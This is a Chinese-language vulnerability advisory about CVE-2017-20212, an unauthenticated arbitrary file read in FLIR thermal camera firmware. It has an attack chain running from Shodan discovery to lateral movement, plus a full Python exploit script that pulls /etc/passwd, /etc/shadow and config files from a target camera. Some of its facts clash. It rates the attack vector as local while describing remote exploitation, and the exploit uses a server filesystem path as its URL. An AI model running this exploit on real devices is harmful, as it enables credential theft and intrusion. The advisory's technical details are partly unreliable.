IPBUF安全漏洞报告
English
CVE-2017-20212 CVSS 6.2 中危

CVE-2017-20212 FLIR热成像摄像头固件信息泄露漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2017-20212
漏洞类型
信息泄露
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FLIR Thermal Camera F/FC/PT/D

相关标签

信息泄露路径遍历未授权访问FLIR热成像摄像头固件漏洞CVE-2017-20212IoT安全Web应用漏洞

漏洞概述

CVE-2017-20212是FLIR公司热成像摄像头产品中的一个严重信息泄露漏洞。该漏洞影响F、FC、PT、D等多个型号的摄像机设备,涉及固件版本8.0.0.64。漏洞的根本原因在于设备的Web管理界面中存在一个未正确验证用户输入的文件读取功能。攻击者无需任何认证凭证,即可通过构造特定的HTTP请求,利用设备上存在的api/xml.php接口的readFile()函数,读取服务器上的任意文件。这包括但不限于系统配置文件、用户凭证文件、其他敏感数据等。由于该漏洞的利用复杂度低且无需认证,攻击者可以在短时间内获取大量敏感信息,对设备安全造成严重威胁。泄露的数据可能被用于进一步的攻击活动,如横向移动、持久化控制或数据窃取。

技术细节

该信息泄露漏洞存在于FLIR热成像摄像头的Web服务端点 /var/www/data/controllers/api/xml.php 中的 readFile() 函数。问题出在该函数对用户传入的文件路径参数缺乏充分的输入验证和权限检查。攻击者可以通过HTTP GET或POST请求,指定一个文件路径作为参数,服务器端会直接使用该路径读取文件内容并返回给客户端。由于函数实现时未对路径进行安全过滤,攻击者可以使用路径遍历技术(如 ../ 序列)访问Web根目录之外的文件。在实际利用中,攻击者通常会尝试读取 /etc/passwd、配置文件、密钥文件等敏感资源。该漏洞无需任何认证即可利用,因为readFile()函数的访问控制检查存在缺陷或完全缺失。攻击者只需要能够访问设备的网络接口即可发起攻击,这使得漏洞的利用门槛极低。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标FLIR热成像摄像头的IP地址和网络位置。可以通过网络扫描、搜索引擎或Shodan等物联网搜索引擎发现暴露在网络中的设备。
STEP 2
步骤2: 漏洞探测
攻击者向目标设备的 /var/www/data/controllers/api/xml.php 端点发送探测请求,确认漏洞是否存在。通过检查HTTP响应状态码和返回内容长度判断目标是否易受攻击。
STEP 3
步骤3: 构造恶意请求
攻击者构造包含文件路径参数的HTTP请求,利用readFile()函数的漏洞特性。通过路径遍历(如 ../../../etc/passwd)或直接指定目标文件路径,尝试读取系统敏感文件。
STEP 4
步骤4: 提取敏感数据
服务器执行readFile()函数,将请求的文件内容返回给攻击者。攻击者可能获取系统账户信息、配置文件、认证凭据、设备密钥等敏感数据。
STEP 5
步骤5: 横向移动或持久化
获取的敏感信息可用于进一步攻击,如使用获取的凭据访问其他系统、执行未授权操作、植入后门或建立持久化控制。泄露的配置文件可能包含更多可利用的漏洞信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2017-20212 PoC - FLIR Thermal Camera Information Disclosure # Target: /var/www/data/controllers/api/xml.php # Vulnerability: Unverified file path parameter in readFile() function def exploit(target_ip, target_port=80): """ Exploit the unauthenticated file read vulnerability in FLIR cameras. Args: target_ip: Target camera IP address target_port: Target port (default: 80) Returns: bool: True if exploitation successful, False otherwise """ base_url = f"http://{target_ip}:{target_port}" # Target endpoint with vulnerable readFile() function endpoint = "/var/www/data/controllers/api/xml.php" # Files to attempt to read (common sensitive files) files_to_read = [ "/etc/passwd", "/etc/shadow", "/var/www/html/config.php", "/etc/httpd/conf/httpd.conf", "/var/www/data/config/system.conf" ] print(f"[*] Targeting FLIR Camera at {target_ip}:{target_port}") print(f"[*] Exploiting endpoint: {endpoint}") print("-" * 60) for file_path in files_to_read: try: # Construct exploit payload with path traversal # The readFile() function accepts 'file' parameter params = { "action": "readFile", "file": file_path } # Send crafted request response = requests.get( f"{base_url}{endpoint}", params=params, timeout=10, verify=False ) # Check if file content was returned if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: Read {file_path}") print(f"[+] Content length: {len(response.content)} bytes") print(f"[+] First 200 bytes:\n{response.text[:200]}") print("-" * 60) return True else: print(f"[-] Failed to read: {file_path}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {file_path}: {str(e)}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2017-20212.py <target_ip> [port]") print("Example: python cve-2017-20212.py 192.168.1.100 80") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target_ip, target_port) if __name__ == "__main__": main()

影响范围

FLIR Thermal Camera F firmware version 8.0.0.64
FLIR Thermal Camera FC firmware version 8.0.0.64
FLIR Thermal Camera PT firmware version 8.0.0.64
FLIR Thermal Camera D firmware version 8.0.0.64

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:首先,通过防火墙或访问控制列表限制对摄像头Web管理界面的网络访问,仅允许管理终端IP访问;其次,禁用或关闭不需要的API服务功能;最后,监控设备日志,警惕异常的HTTP请求模式,特别是针对xml.php端点的频繁访问。如果业务允许,可以考虑暂时关闭设备的远程Web管理功能,改为本地管理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表